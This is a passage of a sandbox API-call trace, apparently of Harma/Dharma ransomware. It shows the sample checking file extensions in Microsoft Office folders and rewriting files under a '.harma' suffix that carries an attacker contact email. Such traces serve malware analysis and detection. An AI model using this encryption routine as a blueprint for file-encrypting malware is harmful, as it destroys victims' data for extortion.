lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString=".xls") returned 4 [0047.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString=".xlsx") returned 5 [0047.436] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.436] lstrlenW (lpString=".ppt") returned 4 [0047.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString=".zip") returned 4 [0047.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.436] lstrlenW (lpString=".rar") returned 4 [0047.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString=".bz2") returned 4 [0047.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString=".7z") returned 3 [0047.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString=".dbf") returned 4 [0047.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString=".1cd") returned 4 [0047.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString=".jpg") returned 4 [0047.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.437] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.437] lstrlenW (lpString="auxpad.xml") returned 10 [0047.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.437] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=212) returned 1 [0047.437] CloseHandle (hObject=0x1ec) returned 1 [0047.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0047.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.438] lstrlenW (lpString=".doc") returned 4 [0047.438] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString=".docx") returned 5 [0047.438] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0047.438] lstrlenW (lpString=".pdf") returned 4 [0047.438] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString=".xls") returned 4 [0047.438] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString=".xlsx") returned 5 [0047.438] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.438] lstrlenW (lpString=".ppt") returned 4 [0047.438] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.438] lstrlenW (lpString=".zip") returned 4 [0047.438] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.438] lstrlenW (lpString=".rar") returned 4 [0047.438] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString=".bz2") returned 4 [0047.438] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.438] lstrlenW (lpString=".7z") returned 3 [0047.438] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.438] lstrlenW (lpString=".dbf") returned 4 [0047.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.439] lstrlenW (lpString=".1cd") returned 4 [0047.439] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.439] lstrlenW (lpString=".jpg") returned 4 [0047.439] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.439] lstrlenW (lpString=".doc") returned 4 [0047.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString=".docx") returned 5 [0047.439] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0047.439] lstrlenW (lpString=".pdf") returned 4 [0047.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString=".xls") returned 4 [0047.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString=".xlsx") returned 5 [0047.439] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.439] lstrlenW (lpString=".ppt") returned 4 [0047.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.439] lstrlenW (lpString=".zip") returned 4 [0047.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.439] lstrlenW (lpString=".rar") returned 4 [0047.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.440] lstrlenW (lpString=".bz2") returned 4 [0047.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.440] lstrlenW (lpString=".7z") returned 3 [0047.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.440] lstrlenW (lpString=".dbf") returned 4 [0047.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.440] lstrlenW (lpString=".1cd") returned 4 [0047.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0047.440] lstrlenW (lpString=".jpg") returned 4 [0047.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.440] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.440] lstrlenW (lpString="ea.xml") returned 6 [0047.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.440] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=384) returned 1 [0047.441] CloseHandle (hObject=0x1ec) returned 1 [0047.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0047.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.441] lstrlenW (lpString=".doc") returned 4 [0047.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.441] lstrlenW (lpString=".docx") returned 5 [0047.441] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0047.441] lstrlenW (lpString=".pdf") returned 4 [0047.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.441] lstrlenW (lpString=".xls") returned 4 [0047.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.441] lstrlenW (lpString=".xlsx") returned 5 [0047.441] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0047.441] lstrlenW (lpString=".ppt") returned 4 [0047.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.441] lstrlenW (lpString=".zip") returned 4 [0047.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.441] lstrlenW (lpString=".rar") returned 4 [0047.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.441] lstrlenW (lpString=".bz2") returned 4 [0047.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString=".7z") returned 3 [0047.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.442] lstrlenW (lpString=".dbf") returned 4 [0047.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.442] lstrlenW (lpString=".1cd") returned 4 [0047.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.442] lstrlenW (lpString=".jpg") returned 4 [0047.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.442] lstrlenW (lpString=".doc") returned 4 [0047.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString=".docx") returned 5 [0047.442] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0047.442] lstrlenW (lpString=".pdf") returned 4 [0047.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString=".xls") returned 4 [0047.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString=".xlsx") returned 5 [0047.442] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0047.442] lstrlenW (lpString=".ppt") returned 4 [0047.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.443] lstrlenW (lpString=".zip") returned 4 [0047.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.443] lstrlenW (lpString=".rar") returned 4 [0047.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.443] lstrlenW (lpString=".bz2") returned 4 [0047.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.443] lstrlenW (lpString=".7z") returned 3 [0047.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.443] lstrlenW (lpString=".dbf") returned 4 [0047.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.443] lstrlenW (lpString=".1cd") returned 4 [0047.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0047.443] lstrlenW (lpString=".jpg") returned 4 [0047.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.443] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.443] lstrlenW (lpString="keypadbase.xml") returned 14 [0047.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.444] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1118) returned 1 [0047.444] CloseHandle (hObject=0x1ec) returned 1 [0047.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0047.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString=".doc") returned 4 [0047.445] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString=".docx") returned 5 [0047.445] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.445] lstrlenW (lpString=".pdf") returned 4 [0047.445] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString=".xls") returned 4 [0047.445] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString=".xlsx") returned 5 [0047.445] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.445] lstrlenW (lpString=".ppt") returned 4 [0047.445] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString=".zip") returned 4 [0047.445] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.445] lstrlenW (lpString=".rar") returned 4 [0047.445] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString=".bz2") returned 4 [0047.445] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString=".7z") returned 3 [0047.445] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString=".dbf") returned 4 [0047.445] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString=".1cd") returned 4 [0047.445] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.445] lstrlenW (lpString=".jpg") returned 4 [0047.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString=".doc") returned 4 [0047.446] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString=".docx") returned 5 [0047.446] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.446] lstrlenW (lpString=".pdf") returned 4 [0047.446] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString=".xls") returned 4 [0047.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString=".xlsx") returned 5 [0047.446] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.446] lstrlenW (lpString=".ppt") returned 4 [0047.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString=".zip") returned 4 [0047.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.446] lstrlenW (lpString=".rar") returned 4 [0047.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString=".bz2") returned 4 [0047.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString=".7z") returned 3 [0047.446] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString=".dbf") returned 4 [0047.446] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString=".1cd") returned 4 [0047.446] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0047.446] lstrlenW (lpString=".jpg") returned 4 [0047.446] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.447] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.447] lstrlenW (lpString="kor-kor.xml") returned 11 [0047.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.447] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=392) returned 1 [0047.447] CloseHandle (hObject=0x1ec) returned 1 [0047.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0047.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0047.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0047.447] lstrlenW (lpString=".doc") returned 4 [0047.447] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.447] lstrlenW (lpString=".docx") returned 5 [0047.447] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.447] lstrlenW (lpString=".pdf") returned 4 [0047.447] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.447] lstrlenW (lpString=".xls") returned 4 [0047.448] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.448] lstrlenW (lpString=".xlsx") returned 5 [0047.448] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.448] lstrlenW (lpString=".ppt") returned 4 [0047.448] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0047.448] lstrlenW (lpString=".zip") returned 4 [0047.448] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.448] lstrlenW (lpString=".rar") returned 4 [0047.448] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.448] lstrlenW (lpString=".bz2") returned 4 [0047.448] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.448] lstrlenW (lpString=".7z") returned 3 [0047.448] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0047.448] lstrlenW (lpString=".dbf") returned 4 [0047.448] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0049.277] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.277] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.278] GetLastError () returned 0x0 [0049.278] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x61d, lpOverlapped=0x0) returned 1 [0049.279] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0049.280] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.280] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.280] SetEndOfFile (hFile=0x1dc) returned 1 [0049.280] CloseHandle (hObject=0x1dc) returned 1 [0049.283] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.284] SetEndOfFile (hFile=0x15c) returned 1 [0049.284] CloseHandle (hObject=0x15c) returned 1 [0049.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 